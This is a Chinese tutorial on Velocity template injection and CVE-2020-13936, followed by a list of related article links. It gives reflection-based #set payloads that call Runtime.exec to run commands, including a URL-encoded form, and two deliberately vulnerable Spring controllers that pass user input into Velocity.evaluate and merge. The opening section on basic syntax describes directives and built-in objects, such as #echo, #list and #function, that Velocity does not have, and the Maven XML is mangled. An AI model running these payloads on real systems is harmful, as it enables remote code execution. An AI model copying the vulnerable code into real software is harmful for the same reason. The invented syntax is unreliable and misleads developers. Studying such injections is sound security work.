Java安全之Velocity模板注入漏洞

简介: Java安全之Velocity模板注入漏洞

在前面两篇文章已经提到过FreeMarker,Thymeleaf 模板注入了内容,这篇是最后一篇。

什么是 Velocity

Velocity 模板是一种用于快速开发 Web 应用程序的模板引擎。它允许开发人员使用自然语言和简单的语法来描述 Web 应用程序的 UI 和业务逻辑,从而提高开发效率和代码质量。

在 Velocity 中,开发人员可以使用模板文件来定义 Web 应用程序的用户界面和业务逻辑。这些模板文件通常使用 Velocity 语法进行描述,例如变量、条件语句、循环等。

Velocity 模板引擎使用一些内置的上下文对象,例如 $velocityContext$templateLoader$templateResolver。这些对象允许开发人员在模板中使用变量、加载模板文件和解析表达式等操作。

以下是一个简单的 Velocity 模板示例,该模板将两个数字相加并将结果打印到屏幕上:

#set ($result = $num1 + $num2)           
#echo $result

在这个示例中,$num1$num2 是模板中的变量,它们将被编译成 Java 类的常量。$result 是模板中的输出变量,它将被编译成 Java 类的返回值。在模板中,可以使用 #set 指令将变量赋值给另一个变量,并使用 #echo 指令将结果输出到屏幕上。

Velocity 模板引擎还支持使用通配符和条件语句。例如,以下模板示例将根据用户输入的年份计算平均数并将结果打印到屏幕上:

#if ($year != null)  
    #set ($avg = $year / 4)  
#else  
    #set ($avg = 0)  
#end  
#echo $avg  

在这个示例中,如果 $year 不为 null,则使用 #set 指令将其除以 4,并将结果存储在 $avg 变量中。如果 $yearnull,则使用 #set 指令将其存储在 $avg 变量中,并将其初始化为 0。在模板中,可以使用 #if#else 指令来处理条件语句。

Velocity 模板页面

一个基础的基于 VTL 的模板文件页面

<html>
<body>
#set( $foo = "Velocity" )
Hello $foo World!
</body>
<html>   

基础命令

1.#set:用于将变量赋值给另一个变量。例如,以下命令将 $x 的值设置为 2000:

#set ($x = 2000)

2.#list:用于列出变量的值。例如,以下命令将 $x$y 的值列出:

#list ($x, $y)

3.#if:用于处理条件语句。如果条件为真,则模板将输出条件语句的值,否则输出空文本。例如,以下命令将输出 truefalse:

#if ($x > 10)               
  true               
#else               
  false               
#end

4.#else:用于处理条件语句的特殊情况。如果条件语句为真,则输出条件语句的值,否则输出空文本。例如,以下命令将输出 truefalse:

#if ($x > 10)               
  true               
#else               
  false               
#end

5.#foreach:用于处理循环。循环可以遍历数组、对象或字符串。例如,以下命令将遍历 $x 数组并输出每个元素的值:

#foreach ($x in $xs)               
  $x               
#end

6.#echo:用于输出模板中的文本。例如,以下命令将输出 Hello, World!:

#echo "Hello, World!"

7.#function:用于定义自定义函数。自定义函数可以处理数据,并在模板中使用。例如,以下命令定义了一个自定义函数 myFunction:

#function myFunction($x)               
  echo $x               
#end

8.#include:用于加载模板文件。例如,以下命令将加载名为 index.vm 的模板文件:

#include "index.vm"

set 指令攻击语句

第一种

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime                
",null).invoke(null,null).exec("open -a calculator")

上述代码,通过set设置一个变量e,然后通过e,反射调用Runtime这个class,然后获取getRuntime中的exec函数,执行弹计算器的指令。

第二种

#set($s='')##                
#set($runtime = $x.class.forName('java.lang.Runtime'))##                
#set($char = $x.class.forName('java.lang.Character'))##                
#set($str = $x.class.forName('java.lang.String'))##                
#set($cmd=$rt.getRuntime().exec('id'))##                
$ex.waitFor()                
#set($out=$cmd.getInputStream())##                
#foreach( $i in                
[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

上述代码,反射加载三个方法,然后获取id执行后的字符流,然后作为字符串输出。

第三种

#set ($e="exp")                
#set                
($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).i                
nvoke(null,null).exec($cmd))                
#set                
($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream"                
).invoke($a))                
#set($sc = $e.getClass().forName("java.util.Scanner"))                
#set($constructor =                
$sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))                
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))                
#if($scan.hasNext())                
$scan.next()                
#end

首先,代码创建一个变量 $e 并将其设置为字符串 "exp"。接下来,代码调用 Java 反射 API 来获取 Runtime 类的一个方法,并使用 exec 方法执行 $cmd 变量中 存储的命令。这个命令的输出将被保存在变量 $input 中然后,代码使用 Java 反射 API 获取 Scanner 类和其构造函数,以及使用 $input 变量创建 Scanner 对 象。该对象的 useDelimiter 方法设置了输入流的分隔符。最后,代码检查 Scanner 对象是否有下一个输入行。如果有,它将输出该行。否则,什么也不会发生。

Velocity注入漏洞

CVE-2020-13936

能够修改 Velocity 模板的攻击者可能会以与运行 Servlet 容器的帐户相同的权限执行任意Java代码或运 行任意系统命令。这适用于允许不受信任的用户上传/修改运行 Apache Velocity Engine 版本高达 2.2 的 Velocity 模板的应用程序。

简单说,Velocity 小于等于 2.2 版本存在模板注入漏洞。

搭建环境

640.png

然后在pom中加入依赖

<dependency>                
  <groupId>org.apache.velocitygroupId>                  
  <artifactId>velocityartifactId>                    
  <version>1.7version>                      
dependency>

创建一个漏洞代码 exp

package com.example.demo;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import java.io.StringWriter;
@Controller
public class exp {
    @GetMapping("/ssti")
    public void velocity(String template) {
        Velocity.init();
        VelocityContext context = new VelocityContext();
        context.put("name", "lisi");
        StringWriter swOut = new StringWriter();
        Velocity.evaluate(context, swOut, "test", template);
    }
}

创建一个控制器,映射uri为ssti;

创建一个 Velocity 上下文对象,添加一个lisi变量到上下文中;

并将上下 文对象和一个名为 "test" 的模板名称传递给 Velocity.evaluate() 方法;

然后写入StringWriter对象中。

漏洞触发点

evaluate函数

61行中:

writer :输出结果的写入器,用于将生成的结果写入到指定位置。

context :上下文数据,即用于替换模板中占位符的数据。

logTag :日志标签,用于在日志中区分不同的 evaluate 调用。

instring :待处理的 Velocity 模板字符串。

运行代码,触发漏洞代码,payload需要把# “ 进行url编码

%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod                  
(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20calculator%22)

640.png    

merge 触发

 template :待处理的 Velocity 模板。

context :上下文数据,即用于替换模板中占位符的数据。

writer :输出结果的写入器,用于将生成的结果写入到指定位置。

创建对应的code

package com.example.demo;                  
import org.apache.velocity.VelocityContext;                  
import org.apache.velocity.runtime.RuntimeServices;                  
import org.apache.velocity.runtime.RuntimeSingleton;                  
import org.apache.velocity.runtime.parser.ParseException;                  
import org.apache.velocity.runtime.parser.node.SimpleNode;                  
import org.springframework.stereotype.Controller;                  
import org.springframework.web.bind.annotation.RequestMapping;                  
import org.springframework.web.bind.annotation.RequestParam;                  
import org.springframework.web.bind.annotation.ResponseBody;                  
import org.apache.velocity.Template;                  
import java.io.IOException;                  
import java.io.StringReader;                  
import java.io.StringWriter;                  
import java.nio.file.Files;                  
import java.nio.file.Paths;                  
@Controller                  
public class MergeDemo {                  
    @RequestMapping("/ssti/velocity2")                  
    @ResponseBody                  
    public String velocity2(@RequestParam("test") String username) throws IOException, ParseException {                  
        String templateString = new String(Files.readAllBytes(Paths.get("template.vm")));                  
        templateString = templateString.replace("", username);                  
        StringReader reader = new StringReader(templateString);                  
        VelocityContext ctx = new VelocityContext();                  
        ctx.put("name", "lisi");                  
        ctx.put("phone", "111222");                  
        ctx.put("email", "123@qq.com");                  
        StringWriter out = new StringWriter();                  
        Template template = new Template();                  
        RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();                  
        SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));                  
        template.setRuntimeServices(runtimeServices);                  
        template.setData(node);                  
        template.initDocument();                  
        template.merge(ctx, out);                  
        return out.toString();                  
    }                  
}

从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过 template.merge 渲染触发模 板注入漏洞。所以我们需要修改vm渲染文件。

假设我们到了后台,有模板修改的功能,那我们便可修改vm文件来进行攻击。

#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a calculator")

640.png

然后启动项目,因为这里需要传递参数

http://127.0.0.1:8080/ssti/velocity2?test=lisi

merge() 方法是将模板和数据合并,生成一个文本输出。它需要一个 VelocityContext 对象作为参数, 用于存储数据,并将数据与模板合并,生成输出。

evaluate() 方法也是将模板和数据合并,生成一个文本输出,但是它返回的是一个布尔值,表示模板是 否成功执行。

evaluate() 方法通常用于执行带有条件的模板。

漏洞修复

升级高版本。

相关文章
|
1天前
|
Web App开发 JavaScript 前端开发
《手把手教你》系列技巧篇(四十三)-java+ selenium自动化测试-处理https 安全问题或者非信任站点-上篇(详解教程)
【5月更文挑战第7天】本文介绍了如何在Java+Selenium自动化测试中处理浏览器对不信任证书的处理方法,特别是针对IE、Chrome和Firefox浏览器。在某些情况下,访问HTTPS网站时会遇到证书不可信的警告,但可以通过编程方式跳过这些警告。
13 1
|
8天前
|
消息中间件 安全 Java
Java版云HIS系统:实现多医院患者信息共享与安全管埋
在医疗健康领域,数据的共享与安全已经成为行业发展的重要议题。传统的医院信息系统(HIS)往往受限于单一机构的信息孤岛,无法实现跨院区、跨系统的高效协作和数据互通。然而,随着云计算技术的发展与应用,云HIS系统应运而生,它正引领着一场关于多医院患者信息共享与安全管理的重大变革。
37 6
|
26天前
|
JavaScript Java 测试技术
基于Java的钢铁集团公司安全管理系统的设计与实现(源码+lw+部署文档+讲解等)
基于Java的钢铁集团公司安全管理系统的设计与实现(源码+lw+部署文档+讲解等)
32 6
|
26天前
|
SQL 存储 安全
Java安全编码:防范常见漏洞和攻击
【4月更文挑战第18天】本文介绍了Java安全编码的最佳实践,包括防止SQL注入和XSS攻击,使用预处理语句和转义用户输入。强调了安全的密码存储、角色基础的访问控制以及防止会话劫持和CSRF攻击。此外,还提到数据保护措施,如使用HTTPS和加密敏感数据。最后,建议避免在错误处理中泄露敏感信息并记录审计日志,以提升Java应用的安全性。
|
27天前
|
存储 安全 Java
Java中的容器,线程安全和线程不安全
Java中的容器,线程安全和线程不安全
18 1
|
29天前
|
SQL 安全 Java
Java安全编程:防范网络攻击与漏洞
【4月更文挑战第15天】本文强调了Java安全编程的重要性,包括提高系统安全性、降低维护成本和提升用户体验。针对网络攻击和漏洞,提出了防范措施:使用PreparedStatement防SQL注入,过滤和转义用户输入抵御XSS攻击,添加令牌对抗CSRF,限制文件上传类型和大小以防止恶意文件,避免原生序列化并确保数据完整性。及时更新和修复漏洞是关键。程序员应遵循安全编程规范,保障系统安全。
|
1天前
|
Java
Java中的多线程编程:基础知识与实践
【5月更文挑战第13天】在计算机科学中,多线程是一种使得程序可以同时执行多个任务的技术。在Java语言中,多线程的实现主要依赖于java.lang.Thread类和java.lang.Runnable接口。本文将深入探讨Java中的多线程编程,包括其基本概念、实现方法以及一些常见的问题和解决方案。
|
1天前
|
安全 算法 Java
深入理解Java并发编程:线程安全与性能优化
【5月更文挑战第13天】 在Java开发中,并发编程是一个复杂且重要的领域。它不仅关系到程序的线程安全性,也直接影响到系统的性能表现。本文将探讨Java并发编程的核心概念,包括线程同步机制、锁优化技术以及如何平衡线程安全和性能。通过分析具体案例,我们将提供实用的编程技巧和最佳实践,帮助开发者在确保线程安全的同时,提升应用性能。
10 1
|
2天前
|
Java 调度
Java一分钟之线程池:ExecutorService与Future
【5月更文挑战第12天】Java并发编程中,`ExecutorService`和`Future`是关键组件,简化多线程并提供异步执行能力。`ExecutorService`是线程池接口,用于提交任务到线程池,如`ThreadPoolExecutor`和`ScheduledThreadPoolExecutor`。通过`submit()`提交任务并返回`Future`对象,可检查任务状态、获取结果或取消任务。注意处理`ExecutionException`和避免无限等待。实战示例展示了如何异步执行任务并获取结果。理解这些概念对提升并发性能至关重要。
17 5
|
2天前
|
安全 Java 调度
深入理解Java并发编程:线程安全与性能优化
【5月更文挑战第12天】 在现代软件开发中,多线程编程是提升应用程序性能和响应能力的关键手段之一。特别是在Java语言中,由于其内置的跨平台线程支持,开发者可以轻松地创建和管理线程。然而,随之而来的并发问题也不容小觑。本文将探讨Java并发编程的核心概念,包括线程安全策略、锁机制以及性能优化技巧。通过实例分析与性能比较,我们旨在为读者提供一套既确保线程安全又兼顾性能的编程指导。